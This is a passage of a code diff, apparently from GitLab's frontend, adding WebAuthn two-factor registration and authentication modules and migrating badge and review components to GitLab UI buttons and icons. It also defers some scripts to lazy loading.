- // Soon this will conditionally mount a webauthn app (see https://gitlab.com/gitlab-org/gitlab/-/merge_requests/26692)
- const u2fRegister = new U2FRegister($('#js-register-u2f'), gon.u2f);
- u2fRegister.start();
+ if (gon.webauthn) {
+ const webauthnRegister = new WebAuthnRegister($('#js-register-token-2fa'), gon.webauthn);
+ webauthnRegister.start();
+ } else {
+ const u2fRegister = new U2FRegister($('#js-register-token-2fa'), gon.u2f);
+ u2fRegister.start();
+ }
};
diff --git a/app/assets/javascripts/authentication/u2f/authenticate.js b/app/assets/javascripts/authentication/u2f/authenticate.js
index 201cd5c2e61..f9b5ca3e5b4 100644
--- a/app/assets/javascripts/authentication/u2f/authenticate.js
+++ b/app/assets/javascripts/authentication/u2f/authenticate.js
@@ -40,7 +40,6 @@ export default class U2FAuthenticate {
this.signRequests = u2fParams.sign_requests.map(request => omit(request, 'challenge'));
this.templates = {
- setup: '#js-authenticate-token-2fa-setup',
inProgress: '#js-authenticate-token-2fa-in-progress',
error: '#js-authenticate-token-2fa-error',
authenticated: '#js-authenticate-token-2fa-authenticated',
@@ -86,7 +85,7 @@ export default class U2FAuthenticate {
renderError(error) {
this.renderTemplate('error', {
error_message: error.message(),
- error_code: error.errorCode,
+ error_name: error.errorCode,
});
return this.container.find('#js-token-2fa-try-again').on('click', this.renderInProgress);
}
diff --git a/app/assets/javascripts/authentication/u2f/register.js b/app/assets/javascripts/authentication/u2f/register.js
index 52c0ce1fc04..9773a9185f8 100644
--- a/app/assets/javascripts/authentication/u2f/register.js
+++ b/app/assets/javascripts/authentication/u2f/register.js
@@ -1,5 +1,6 @@
import $ from 'jquery';
import { template as lodashTemplate } from 'lodash';
+import { __ } from '~/locale';
import importU2FLibrary from './util';
import U2FError from './error';
@@ -24,11 +25,10 @@ export default class U2FRegister {
this.signRequests = u2fParams.sign_requests;
this.templates = {
- notSupported: '#js-register-u2f-not-supported',
- setup: '#js-register-u2f-setup',
- inProgress: '#js-register-u2f-in-progress',
- error: '#js-register-u2f-error',
- registered: '#js-register-u2f-registered',
+ message: '#js-register-2fa-message',
+ setup: '#js-register-token-2fa-setup',
+ error: '#js-register-token-2fa-error',
+ registered: '#js-register-token-2fa-registered',
};
}
@@ -65,18 +65,22 @@ export default class U2FRegister {
renderSetup() {
this.renderTemplate('setup');
- return this.container.find('#js-setup-u2f-device').on('click', this.renderInProgress);
+ return this.container.find('#js-setup-token-2fa-device').on('click', this.renderInProgress);
}
renderInProgress() {
- this.renderTemplate('inProgress');
+ this.renderTemplate('message', {
+ message: __(
+ 'Trying to communicate with your device. Plug it in (if needed) and press the button on the device now.',
+ ),
+ });
return this.register();
}
renderError(error) {
this.renderTemplate('error', {
error_message: error.message(),
- error_code: error.errorCode,
+ error_name: error.errorCode,
});
return this.container.find('#js-token-2fa-try-again').on('click', this.renderSetup);
}
@@ -89,6 +93,10 @@ export default class U2FRegister {
}
renderNotSupported() {
- return this.renderTemplate('notSupported');
+ return this.renderTemplate('message', {
+ message: __(
+ "Your browser doesn't support U2F. Please use Google Chrome desktop (version 41 or newer).",
+ ),
+ });
}
}
diff --git a/app/assets/javascripts/authentication/webauthn/authenticate.js b/app/assets/javascripts/authentication/webauthn/authenticate.js
new file mode 100644
index 00000000000..42c4c2b63bd
--- /dev/null
+++ b/app/assets/javascripts/authentication/webauthn/authenticate.js
@@ -0,0 +1,69 @@
+import WebAuthnError from './error';
+import WebAuthnFlow from './flow';
+import { supported, convertGetParams, convertGetResponse } from './util';
+
+// Authenticate WebAuthn devices for users to authenticate with.
+//
+// State Flow #1: setup -> in_progress -> authenticated -> POST to server
+// State Flow #2: setup -> in_progress -> error -> setup
+export default class WebAuthnAuthenticate {
+ constructor(container, form, webauthnParams, fallbackButton, fallbackUI) {
+ this.container = container;
+ this.webauthnParams = convertGetParams(JSON.parse(webauthnParams.options));
+ this.renderInProgress = this.renderInProgress.bind(this);
+
+ this.form = form;
+ this.fallbackButton = fallbackButton;
+ this.fallbackUI = fallbackUI;
+ if (this.fallbackButton) {
+ this.fallbackButton.addEventListener('click', this.switchToFallbackUI.bind(this));
+ }
+
+ this.flow = new WebAuthnFlow(container, {
+ inProgress: '#js-authenticate-token-2fa-in-progress',
+ error: '#js-authenticate-token-2fa-error',
+ authenticated: '#js-authenticate-token-2fa-authenticated',
+ });
+
+ this.container.on('click', '#js-token-2fa-try-again', this.renderInProgress);
+ }
+
+ start() {
+ if (!supported()) {
+ this.switchToFallbackUI();
+ } else {
+ this.renderInProgress();
+ }
+ }
+
+ authenticate() {
+ navigator.credentials
+ .get({ publicKey: this.webauthnParams })
+ .then(resp => {
+ const convertedResponse = convertGetResponse(resp);
+ this.renderAuthenticated(JSON.stringify(convertedResponse));
+ })
+ .catch(err => {
+ this.flow.renderError(new WebAuthnError(err, 'authenticate'));
+ });
+ }
+
+ renderInProgress() {
+ this.flow.renderTemplate('inProgress');
+ this.authenticate();
+ }
+
+ renderAuthenticated(deviceResponse) {
+ this.flow.renderTemplate('authenticated');
+ const container = this.container[0];
+ container.querySelector('#js-device-response').value = deviceResponse;
+ container.querySelector(this.form).submit();
+ this.fallbackButton.classList.add('hidden');
+ }
+
+ switchToFallbackUI() {
+ this.fallbackButton.classList.add('hidden');
+ this.container[0].classList.add('hidden');
+ this.fallbackUI.classList.remove('hidden');
+ }
+}
diff --git a/app/assets/javascripts/authentication/webauthn/error.js b/app/assets/javascripts/authentication/webauthn/error.js
new file mode 100644
index 00000000000..a1a3f861c25
--- /dev/null
+++ b/app/assets/javascripts/authentication/webauthn/error.js
@@ -0,0 +1,28 @@
+import { __ } from '~/locale';
+import { isHTTPS, FLOW_AUTHENTICATE, FLOW_REGISTER } from './util';
+
+export default class WebAuthnError {
+ constructor(error, flowType) {
+ this.error = error;
+ this.errorName = error.name || 'UnknownError';
+ this.message = this.message.bind(this);
+ this.httpsDisabled = !isHTTPS();
+ this.flowType = flowType;
+ }
+
+ message() {
+ if (this.errorName === 'NotSupportedError') {
+ return __('Your device is not compatible with GitLab. Please try another device');
+ } else if (this.errorName === 'InvalidStateError' && this.flowType === FLOW_AUTHENTICATE) {
+ return __('This device has not been registered with us.');
+ } else if (this.errorName === 'InvalidStateError' && this.flowType === FLOW_REGISTER) {
+ return __('This device has already been registered with us.');
+ } else if (this.errorName === 'SecurityError' && this.httpsDisabled) {
+ return __(
+ 'WebAuthn only works with HTTPS-enabled websites. Contact your administrator for more details.',
+ );
+ }
+
+ return __('There was a problem communicating with your device.');
+ }
+}
diff --git a/app/assets/javascripts/authentication/webauthn/flow.js b/app/assets/javascripts/authentication/webauthn/flow.js
new file mode 100644
index 00000000000..10a1debc876
--- /dev/null
+++ b/app/assets/javascripts/authentication/webauthn/flow.js
@@ -0,0 +1,24 @@
+import { template } from 'lodash';
+
+/**
+ * Generic abstraction for WebAuthnFlows, especially for register / authenticate
+ */
+export default class WebAuthnFlow {
+ constructor(container, templates) {
+ this.container = container;
+ this.templates = templates;
+ }
+
+ renderTemplate(name, params) {
+ const templateString = document.querySelector(this.templates[name]).innerHTML;
+ const compiledTemplate = template(templateString);
+ this.container.html(compiledTemplate(params));
+ }
+
+ renderError(error) {
+ this.renderTemplate('error', {
+ error_message: error.message(),
+ error_name: error.errorName,
+ });
+ }
+}
diff --git a/app/assets/javascripts/authentication/webauthn/index.js b/app/assets/javascripts/authentication/webauthn/index.js
new file mode 100644
index 00000000000..bbf694c7698
--- /dev/null
+++ b/app/assets/javascripts/authentication/webauthn/index.js
@@ -0,0 +1,13 @@
+import $ from 'jquery';
+import WebAuthnAuthenticate from './authenticate';
+
+export default () => {
+ const webauthnAuthenticate = new WebAuthnAuthenticate(
+ $('#js-authenticate-token-2fa'),
+ '#js-login-token-2fa-form',
+ gon.webauthn,
+ document.querySelector('#js-login-2fa-device'),
+ document.querySelector('.js-2fa-form'),
+ );
+ webauthnAuthenticate.start();
+};
diff --git a/app/assets/javascripts/authentication/webauthn/register.js b/app/assets/javascripts/authentication/webauthn/register.js
new file mode 100644
index 00000000000..06e4ffd6f3e
--- /dev/null
+++ b/app/assets/javascripts/authentication/webauthn/register.js
@@ -0,0 +1,78 @@
+import { __ } from '~/locale';
+import WebAuthnError from './error';
+import WebAuthnFlow from './flow';
+import { supported, isHTTPS, convertCreateParams, convertCreateResponse } from './util';
+
+// Register WebAuthn devices for users to authenticate with.
+//
+// State Flow #1: setup -> in_progress -> registered -> POST to server
+// State Flow #2: setup -> in_progress -> error -> setup
+export default class WebAuthnRegister {
+ constructor(container, webauthnParams) {
+ this.container = container;
+ this.renderInProgress = this.renderInProgress.bind(this);
+ this.webauthnOptions = convertCreateParams(webauthnParams.options);
+
+ this.flow = new WebAuthnFlow(container, {
+ message: '#js-register-2fa-message',
+ setup: '#js-register-token-2fa-setup',
+ error: '#js-register-token-2fa-error',
+ registered: '#js-register-token-2fa-registered',
+ });
+
+ this.container.on('click', '#js-token-2fa-try-again', this.renderInProgress);
+ }
+
+ start() {
+ if (!supported()) {
+ // we show a special error message when the user visits the site
+ // using a non-ssl connection as this makes WebAuthn unavailable in
+ // any case, regardless of the used browser
+ this.renderNotSupported(!isHTTPS());
+ } else {
+ this.renderSetup();
+ }
+ }
+
+ register() {
+ navigator.credentials
+ .create({
+ publicKey: this.webauthnOptions,
+ })
+ .then(cred => this.renderRegistered(JSON.stringify(convertCreateResponse(cred))))
+ .catch(err => this.flow.renderError(new WebAuthnError(err, 'register')));
+ }
+
+ renderSetup() {
+ this.flow.renderTemplate('setup');
+ this.container.find('#js-setup-token-2fa-device').on('click', this.renderInProgress);
+ }
+
+ renderInProgress() {
+ this.flow.renderTemplate('message', {
+ message: __(
+ 'Trying to communicate with your device. Plug it in (if needed) and press the button on the device now.',
+ ),
+ });
+ return this.register();
+ }
+
+ renderRegistered(deviceResponse) {
+ this.flow.renderTemplate('registered');
+ // Prefer to do this instead of interpolating using Underscore templates
+ // because of JSON escaping issues.
+ this.container.find('#js-device-response').val(deviceResponse);
+ }
+
+ renderNotSupported(noHttps) {
+ const message = noHttps
+ ? __(
+ 'WebAuthn only works with HTTPS-enabled websites. Contact your administrator for more details.',
+ )
+ : __(
+ "Your browser doesn't support WebAuthn. Please use a supported browser, e.g. Chrome (67+) or Firefox (60+).",
+ );
+
+ this.flow.renderTemplate('message', { message });
+ }
+}
diff --git a/app/assets/javascripts/authentication/webauthn/util.js b/app/assets/javascripts/authentication/webauthn/util.js
new file mode 100644
index 00000000000..5f06c000afe
--- /dev/null
+++ b/app/assets/javascripts/authentication/webauthn/util.js
@@ -0,0 +1,120 @@
+export function supported() {
+ return Boolean(
+ navigator.credentials &&
+ navigator.credentials.create &&
+ navigator.credentials.get &&
+ window.PublicKeyCredential,
+ );
+}
+
+export function isHTTPS() {
+ return window.location.protocol.startsWith('https');
+}
+
+export const FLOW_AUTHENTICATE = 'authenticate';
+export const FLOW_REGISTER = 'register';
+
+// adapted from https://stackoverflow.com/a/21797381/8204697
+function base64ToBuffer(base64) {
+ const binaryString = window.atob(base64);
+ const len = binaryString.length;
+ const bytes = new Uint8Array(len);
+ for (let i = 0; i < len; i += 1) {
+ bytes[i] = binaryString.charCodeAt(i);
+ }
+ return bytes.buffer;
+}
+
+// adapted from https://stackoverflow.com/a/9458996/8204697
+function bufferToBase64(buffer) {
+ if (typeof buffer === 'string') {
+ return buffer;
+ }
+
+ let binary = '';
+ const bytes = new Uint8Array(buffer);
+ const len = bytes.byteLength;
+ for (let i = 0; i < len; i += 1) {
+ binary += String.fromCharCode(bytes[i]);
+ }
+ return window.btoa(binary);
+}
+
+/**
+ * Returns a copy of the given object with the id property converted to buffer
+ *
+ * @param {Object} param
+ */
+function convertIdToBuffer({ id, ...rest }) {
+ return {
+ ...rest,
+ id: base64ToBuffer(id),
+ };
+}
+
+/**
+ * Returns a copy of the given array with all `id`s of the items converted to buffer
+ *
+ * @param {Array} items
+ */
+function convertIdsToBuffer(items) {
+ return items.map(convertIdToBuffer);
+}
+
+/**
+ * Returns an object with keys of the given props, and values from the given object converted to base64
+ *
+ * @param {String} obj
+ * @param {Array} props
+ */
+function convertPropertiesToBase64(obj, props) {
+ return props.reduce(
+ (acc, property) => Object.assign(acc, { [property]: bufferToBase64(obj[property]) }),
+ {},
+ );
+}
+
+export function convertGetParams({ allowCredentials, challenge, ...rest }) {
+ return {
+ ...rest,
+ ...(allowCredentials ? { allowCredentials: convertIdsToBuffer(allowCredentials) } : {}),
+ challenge: base64ToBuffer(challenge),
+ };
+}
+
+export function convertGetResponse(webauthnResponse) {
+ return {
+ type: webauthnResponse.type,
+ id: webauthnResponse.id,
+ rawId: bufferToBase64(webauthnResponse.rawId),
+ response: convertPropertiesToBase64(webauthnResponse.response, [
+ 'clientDataJSON',
+ 'authenticatorData',
+ 'signature',
+ 'userHandle',
+ ]),
+ clientExtensionResults: webauthnResponse.getClientExtensionResults(),
+ };
+}
+
+export function convertCreateParams({ challenge, user, excludeCredentials, ...rest }) {
+ return {
+ ...rest,
+ challenge: base64ToBuffer(challenge),
+ user: convertIdToBuffer(user),
+ ...(excludeCredentials ? { excludeCredentials: convertIdsToBuffer(excludeCredentials) } : {}),
+ };
+}
+
+export function convertCreateResponse(webauthnResponse) {
+ return {
+ type: webauthnResponse.type,
+ id: webauthnResponse.id,
+ rawId: bufferToBase64(webauthnResponse.rawId),
+ clientExtensionResults: webauthnResponse.getClientExtensionResults(),
+ response: convertPropertiesToBase64(webauthnResponse.response, [
+ 'clientDataJSON',
+ 'attestationObject',
+ ]),
+ };
+}
diff --git a/app/assets/javascripts/badges/components/badge.vue b/app/assets/javascripts/badges/components/badge.vue
index 3242993b06a..3dd05f73841 100644
--- a/app/assets/javascripts/badges/components/badge.vue
+++ b/app/assets/javascripts/badges/components/badge.vue
@@ -1,13 +1,12 @@
<script>
-import { GlLoadingIcon, GlTooltipDirective } from '@gitlab/ui';
-import Icon from '~/vue_shared/components/icon.vue';
+import { GlLoadingIcon, GlTooltipDirective, GlIcon } from '@gitlab/ui';
export default {
// name: 'Badge' is a false positive: https://gitlab.com/gitlab-org/frontend/eslint-plugin-i18n/issues/25
// eslint-disable-next-line @gitlab/require-i18n-strings
name: 'Badge',
components: {
- Icon,
+ GlIcon,
GlLoadingIcon,
},
directives: {
@@ -84,7 +83,7 @@ export default {
<div v-show="hasError" class="btn-group">
<div class="btn btn-default btn-sm disabled">
- <icon :size="16" class="gl-ml-3 gl-mr-3" name="doc-image" aria-hidden="true" />
+ <gl-icon :size="16" class="gl-ml-3 gl-mr-3" name="doc-image" aria-hidden="true" />
</div>
<div class="btn btn-default btn-sm disabled">
<span class="gl-ml-3 gl-mr-3">{{ s__('Badges|No badge image') }}</span>
@@ -99,7 +98,7 @@ export default {
type="button"
@click="reloadImage"
>
- <icon :size="16" name="retry" />
+ <gl-icon :size="16" name="retry" />
</button>
</div>
</template>
diff --git a/app/assets/javascripts/badges/components/badge_form.vue b/app/assets/javascripts/badges/components/badge_form.vue
index 08834df0a9b..6afb10dd2ad 100644
--- a/app/assets/javascripts/badges/components/badge_form.vue
+++ b/app/assets/javascripts/badges/components/badge_form.vue
@@ -1,10 +1,10 @@
<script>
+/* eslint-disable vue/no-v-html */
import { escape, debounce } from 'lodash';
import { mapActions, mapState } from 'vuex';
-import { GlLoadingIcon, GlFormInput, GlFormGroup } from '@gitlab/ui';
+import { GlLoadingIcon, GlFormInput, GlFormGroup, GlButton } from '@gitlab/ui';
import { deprecatedCreateFlash as createFlash } from '~/flash';
import { s__, sprintf } from '~/locale';
-import LoadingButton from '~/vue_shared/components/loading_button.vue';
import createEmptyBadge from '../empty_badge';
import Badge from './badge.vue';
@@ -14,7 +14,7 @@ export default {
name: 'BadgeForm',
components: {
Badge,
- LoadingButton,
+ GlButton,
GlLoadingIcon,
GlFormInput,
GlFormGroup,
@@ -219,23 +219,23 @@ export default {
</div>
<div v-if="isEditing" class="row-content-block gl-display-flex gl-justify-content-end">
- <button class="btn btn-cancel gl-mr-4" type="button" @click="onCancel">
+ <gl-button class="btn-cancel gl-mr-4" data-testid="cancelEditing" @click="onCancel">
{{ __('Cancel') }}
- </button>
- <loading-button
+ </gl-button>
+ <gl-button
:loading="isSaving"
- :label="s__('Badges|Save changes')"
type="submit"
- container-class="btn btn-success"
- />
+ variant="success"
+ category="primary"
+ data-testid="saveEditing"
+ >
+ {{ s__('Badges|Save changes') }}
+ </gl-button>
</div>
<div v-else class="gl-display-flex gl-justify-content-end form-group">
- <loading-button
- :loading="isSaving"
- :label="s__('Badges|Add badge')"
- type="submit"
- container-class="btn btn-success"
- />
+ <gl-button :loading="isSaving" type="submit" variant="success" category="primary">
+ {{ s__('Badges|Add badge') }}
+ </gl-button>
</div>
</form>
</template>
diff --git a/app/assets/javascripts/badges/components/badge_list_row.vue b/app/assets/javascripts/badges/components/badge_list_row.vue
index bad14666bb2..3343634ecad 100644
--- a/app/assets/javascripts/badges/components/badge_list_row.vue
+++ b/app/assets/javascripts/badges/components/badge_list_row.vue
@@ -1,8 +1,7 @@
<script>
import { mapActions, mapState } from 'vuex';
-import { GlLoadingIcon } from '@gitlab/ui';
+import { GlLoadingIcon, GlIcon } from '@gitlab/ui';
import { s__ } from '~/locale';
-import Icon from '~/vue_shared/components/icon.vue';
import { PROJECT_BADGE } from '../constants';
import Badge from './badge.vue';
@@ -10,7 +9,7 @@ export default {
name: 'BadgeListRow',
components: {
Badge,
- Icon,
+ GlIcon,
GlLoadingIcon,
},
props: {
@@ -58,7 +57,7 @@ export default {
type="button"
@click="editBadge(badge)"
>
- <icon :size="16" :aria-label="__('Edit')" name="pencil" />
+ <gl-icon :size="16" :aria-label="__('Edit')" name="pencil" />
</button>
<button
:disabled="badge.isDeleting"
@@ -68,7 +67,7 @@ export default {
data-target="#delete-badge-modal"
@click="updateBadgeInModal(badge)"
>
- <icon :size="16" :aria-label="__('Delete')" name="remove" />
+ <gl-icon :size="16" :aria-label="__('Delete')" name="remove" />
</button>
<gl-loading-icon v-show="badge.isDeleting" :inline="true" />
</div>
diff --git a/app/assets/javascripts/batch_comments/components/draft_note.vue b/app/assets/javascripts/batch_comments/components/draft_note.vue
index 39c1b8decee..a6cd36caede 100644
--- a/app/assets/javascripts/batch_comments/components/draft_note.vue
+++ b/app/assets/javascripts/batch_comments/components/draft_note.vue
@@ -1,4 +1,5 @@
<script>
+/* eslint-disable vue/no-v-html */
import { mapActions, mapGetters, mapState } from 'vuex';
import { GlButton } from '@gitlab/ui';
import NoteableNote from '~/notes/components/noteable_note.vue';
diff --git a/app/assets/javascripts/batch_comments/components/preview_dropdown.vue b/app/assets/javascripts/batch_comments/components/preview_dropdown.vue
index 7520cc2401b..2b37ed19176 100644
--- a/app/assets/javascripts/batch_comments/components/preview_dropdown.vue
+++ b/app/assets/javascripts/batch_comments/components/preview_dropdown.vue
@@ -1,16 +1,16 @@
<script>
import { mapActions, mapGetters, mapState } from 'vuex';
-import { GlLoadingIcon } from '@gitlab/ui';
+import { GlButton, GlLoadingIcon, GlIcon } from '@gitlab/ui';
import { sprintf, n__ } from '~/locale';
-import Icon from '~/vue_shared/components/icon.vue';
import DraftsCount from './drafts_count.vue';
import PublishButton from './publish_button.vue';
import PreviewItem from './preview_item.vue';
export default {
components: {
+ GlButton,
GlLoadingIcon,
- Icon,
+ GlIcon,
DraftsCount,
PublishButton,
PreviewItem,
@@ -29,7 +29,7 @@ export default {
watch: {
showPreviewDropdown() {
if (this.showPreviewDropdown && this.$refs.dropdown) {
- this.$nextTick(() => this.$refs.dropdown.focus());
+ this.$nextTick(() => this.$refs.dropdown.$el.focus());
}
},
},
@@ -63,32 +63,35 @@ export default {
show: showPreviewDropdown,
}"
>
- <button
+ <gl-button
ref="dropdown"
type="button"
- class="btn btn-success review-preview-dropdown-toggle qa-review-preview-toggle"
+ category="primary"
+ variant="success"
+ class="review-preview-dropdown-toggle qa-review-preview-toggle"
@click="toggleReviewDropdown"
>
{{ __('Finish review') }}
<drafts-count />
- <icon name="angle-up" />
- </button>
+ <gl-icon name="angle-up" />
+ </gl-button>
<div
class="dropdown-menu dropdown-menu-large dropdown-menu-right dropdown-open-top"
:class="{
show: showPreviewDropdown,
}"
>
- <div class="dropdown-title">
- {{ dropdownTitle }}
- <button
+ <div class="dropdown-title gl-display-flex gl-align-items-center">
+ <span class="gl-ml-auto">{{ dropdownTitle }}</span>
+ <gl-button
:aria-label="__('Close')"
type="button"
- class="dropdown-title-button dropdown-menu-close"
+ category="tertiary"
+ size="small"
+ class="dropdown-title-button gl-ml-auto gl-p-0!"
+ icon="close"
@click="toggleReviewDropdown"
- >
- <icon name="close" />
- </button>
+ />
</div>
<div class="dropdown-content">
<ul v-if="isNotesFetched">
diff --git a/app/assets/javascripts/batch_comments/components/preview_item.vue b/app/assets/javascripts/batch_comments/components/preview_item.vue
index 982fb01f49a..c89a6b537ef 100644
--- a/app/assets/javascripts/batch_comments/components/preview_item.vue
+++ b/app/assets/javascripts/batch_comments/components/preview_item.vue
@@ -1,9 +1,8 @@
<script>
import { mapActions, mapGetters } from 'vuex';
-import { GlSprintf } from '@gitlab/ui';
+import { GlSprintf, GlIcon } from '@gitlab/ui';
import { IMAGE_DIFF_POSITION_TYPE } from '~/diffs/constants';
import { sprintf, __ } from '~/locale';
-import Icon from '~/vue_shared/components/icon.vue';
import resolvedStatusMixin from '../mixins/resolved_status';
import glFeatureFlagsMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
import {
@@ -14,7 +13,7 @@ import {
export default {
components: {
- Icon,
+ GlIcon,
GlSprintf,
},
mixins: [resolvedStatusMixin, glFeatureFlagsMixin()],
@@ -101,7 +100,7 @@ export default {
@click="scrollToDraft(draft)"
>
<span class="review-preview-item-header">
- <icon class="flex-shrink-0" :name="iconName" />
+ <gl-icon class="flex-shrink-0" :name="iconName" />
<span
class="bold text-nowrap"
:class="{ 'gl-align-items-center': glFeatures.multilineComments }"
@@ -138,7 +137,7 @@ export default {
v-if="draft.discussion_id && resolvedStatusMessage"
class="review-preview-item-footer draft-note-resolution p-0"
>
- <icon class="gl-mr-3" name="status_success" /> {{ resolvedStatusMessage }}
+ <gl-icon class="gl-mr-3" name="status_success" /> {{ resolvedStatusMessage }}
</span>
</button>
</template>
diff --git a/app/assets/javascripts/batch_comments/components/review_bar.vue b/app/assets/javascripts/batch_comments/components/review_bar.vue
index 2d7b86d2431..e51888eabc1 100644
--- a/app/assets/javascripts/batch_comments/components/review_bar.vue
+++ b/app/assets/javascripts/batch_comments/components/review_bar.vue
@@ -1,4 +1,5 @@
<script>
+/* eslint-disable vue/no-v-html */
import { mapActions, mapState, mapGetters } from 'vuex';
import { GlModal, GlModalDirective, GlButton } from '@gitlab/ui';
import { sprintf, s__ } from '~/locale';
diff --git a/app/assets/javascripts/batch_comments/index.js b/app/assets/javascripts/batch_comments/index.js
index e06285c0b37..9c763e70d63 100644
--- a/app/assets/javascripts/batch_comments/index.js
+++ b/app/assets/javascripts/batch_comments/index.js
@@ -3,7 +3,6 @@ import { mapActions } from 'vuex';
import store from '~/mr_notes/stores';
import ReviewBar from './components/review_bar.vue';
-// eslint-disable-next-line import/prefer-default-export
export const initReviewBar = () => {
const el = document.getElementById('js-review-bar');
diff --git a/app/assets/javascripts/behaviors/autosize.js b/app/assets/javascripts/behaviors/autosize.js
index add43b81f6d..d61797b7ae4 100644
--- a/app/assets/javascripts/behaviors/autosize.js
+++ b/app/assets/javascripts/behaviors/autosize.js
@@ -1,8 +1,13 @@
import Autosize from 'autosize';
+import { waitForCSSLoaded } from '../helpers/startup_css_helper';
document.addEventListener('DOMContentLoaded', () => {
- const autosizeEls = document.querySelectorAll('.js-autosize');
+ waitForCSSLoaded(() => {
+ const autosizeEls = document.querySelectorAll('.js-autosize');
- Autosize(autosizeEls);
- Autosize.update(autosizeEls);
+ Autosize(autosizeEls);
+ Autosize.update(autosizeEls);
+
+ autosizeEls.forEach(el => el.classList.add('js-autosize-initialized'));
+ });
});
diff --git a/app/assets/javascripts/behaviors/index.js b/app/assets/javascripts/behaviors/index.js
index 8060938c72a..fd12c282b62 100644
--- a/app/assets/javascripts/behaviors/index.js
+++ b/app/assets/javascripts/behaviors/index.js
@@ -1,7 +1,7 @@
+import $ from 'jquery';
import './autosize';
import './bind_in_out';
import './markdown/render_gfm';
-import initGFMInput from './markdown/gfm_auto_complete';
import initCopyAsGFM from './markdown/copy_as_gfm';
import initCopyToClipboard from './copy_to_clipboard';
import './details_behavior';
@@ -15,9 +15,27 @@ import initCollapseSidebarOnWindowResize from './collapse_sidebar_on_window_resi
import initSelect2Dropdowns from './select2';
installGlEmojiElement();
-initGFMInput();
+
initCopyAsGFM();
initCopyToClipboard();
+
initPageShortcuts();
initCollapseSidebarOnWindowResize();
initSelect2Dropdowns();
+
+document.addEventListener('DOMContentLoaded', () => {
+ window.requestIdleCallback(
+ () => {
+ // Check if we have to Load GFM Input
+ const $gfmInputs = $('.js-gfm-input:not(.js-gfm-input-initialized)');
+ if ($gfmInputs.length) {
+ import(/* webpackChunkName: 'initGFMInput' */ './markdown/gfm_auto_complete')
+ .then(({ default: initGFMInput }) => {
+ initGFMInput($gfmInputs);
+ })
+ .catch(() => {});
+ }
+ },
+ { timeout: 500 },
+ );
+});
diff --git a/app/assets/javascripts/behaviors/markdown/gfm_auto_complete.js b/app/assets/javascripts/behaviors/markdown/gfm_auto_complete.js
index 6bbd2133344..d712c90242c 100644
--- a/app/assets/javascripts/behaviors/markdown/gfm_auto_complete.js
+++ b/app/assets/javascripts/behaviors/markdown/gfm_auto_complete.js
@@ -2,8 +2,8 @@ import $ from 'jquery';
import GfmAutoComplete from 'ee_else_ce/gfm_auto_complete';
import { parseBoolean } from '~/lib/utils/common_utils';
-export default function initGFMInput() {
- $('.js-gfm-input:not(.js-vue-textarea)').each((i, el) => {
+export default function initGFMInput($els) {
+ $els.each((i, el) => {
const gfm = new GfmAutoComplete(gl.GfmAutoComplete && gl.GfmAutoComplete.dataSources);
const enableGFM = parseBoolean(el.dataset.supportsAutocomplete);
@@ -14,6 +14,7 @@ export default function initGFMInput() {
milestones: enableGFM,
mergeRequests: enableGFM,
labels: enableGFM,
+ vulnerabilities: enableGFM,
});
});
}
diff --git a/app/assets/javascripts/behaviors/markdown/render_gfm.js b/app/assets/javascripts/behaviors/markdown/render_gfm.js
index 01627b7206d..5e9d80e1529 100644
--- a/app/assets/javascripts/behaviors/markdown/render_gfm.js
+++ b/app/assets/javascripts/behaviors/markdown/render_gfm.js
@@ -5,7 +5,6 @@ import renderMermaid from './render_mermaid';
import renderMetrics from './render_metrics';
import highlightCurrentUser from './highlight_current_user';
import initUserPopovers from '../../user_popovers';
-import initMRPopovers from '../../mr_popover';
// Render GitLab flavoured Markdown
//
@@ -17,9 +16,25 @@ $.fn.renderGFM = function renderGFM() {
renderMermaid(this.find('.js-render-mermaid'));
highlightCurrentUser(this.find('.gfm-project_member').get());
initUserPopovers(this.find('.js-user-link').get());
- initMRPopovers(this.find('.gfm-merge_request').get());
+
+ const mrPopoverElements = this.find('.gfm-merge_request').get();
+ if (mrPopoverElements.length) {
+ import(/* webpackChunkName: 'MrPopoverBundle' */ '../../mr_popover')
+ .then(({ default: initMRPopovers }) => {
+ initMRPopovers(mrPopoverElements);
+ })
+ .catch(() => {});
+ }
+
renderMetrics(this.find('.js-render-metrics').get());
return this;
};
-$(() => $('body').renderGFM());
+$(() => {
+ window.requestIdleCallback(
+ () => {
+ $('body').renderGFM();
+ },
+ { timeout: 500 },
+ );
+});
diff --git a/app/assets/javascripts/behaviors/markdown/render_math.js b/app/assets/javascripts/behaviors/markdown/render_math.js
index 03d9955f8fc..30783562da9 100644
--- a/app/assets/javascripts/behaviors/markdown/render_math.js
+++ b/app/assets/javascripts/behaviors/markdown/render_math.js
@@ -1,5 +1,6 @@
import { deprecatedCreateFlash as flash } from '~/flash';
import { s__, sprintf } from '~/locale';
+import { differenceInMilliseconds } from '~/lib/utils/datetime_utility';
// Renders math using KaTeX in any element with the
// `js-render-math` class
@@ -111,7 +112,7 @@ class SafeMathRenderer {
// Give the browser time to reflow the svg
waitForReflow(() => {
- const deltaTime = Date.now() - this.startTime;
+ const deltaTime = differenceInMilliseconds(this.startTime);
this.totalMS += deltaTime;
this.renderElement();
diff --git a/app/assets/javascripts/behaviors/shortcuts.js b/app/assets/javascripts/behaviors/shortcuts.js
index 7987a533ae5..7352be0dbd5 100644
--- a/app/assets/javascripts/behaviors/shortcuts.js
+++ b/app/assets/javascripts/behaviors/shortcuts.js
@@ -1,5 +1,3 @@
-import Shortcuts from './shortcuts/shortcuts';
-
export default function initPageShortcuts() {
const { page } = document.body.dataset;
const pagesWithCustomShortcuts = [
@@ -29,7 +27,9 @@ export default function initPageShortcuts() {
// the pages above have their own shortcuts sub-classes instantiated elsewhere
// TODO: replace this whitelist with something more automated/maintainable
if (page && !pagesWithCustomShortcuts.includes(page)) {
- return new Shortcuts();
+ import(/* webpackChunkName: 'shortcutsBundle' */ './shortcuts/shortcuts')
+ .then(({ default: Shortcuts }) => new Shortcuts())
+ .catch(() => {});
}
return false;
}
diff --git a/app/assets/javascripts/behaviors/shortcuts/shortcuts.js b/app/assets/javascripts/behaviors/shortcuts/shortcuts.js
index 85636f3e5d2..8a8b61a57cd 100644
--- a/app/assets/javascripts/behaviors/shortcuts/shortcuts.js
+++ b/app/assets/javascripts/behaviors/shortcuts/shortcuts.js
@@ -2,6 +2,7 @@ import $ from 'jquery';
import Cookies from 'js-cookie';
import Mousetrap from 'mousetrap';
import Vue from 'vue';
+import { flatten } from 'lodash';
import { disableShortcuts, shouldDisableShortcuts } from './shortcuts_toggle';
import ShortcutsToggle from './shortcuts_toggle.vue';
import axios from '../../lib/utils/axios_utils';
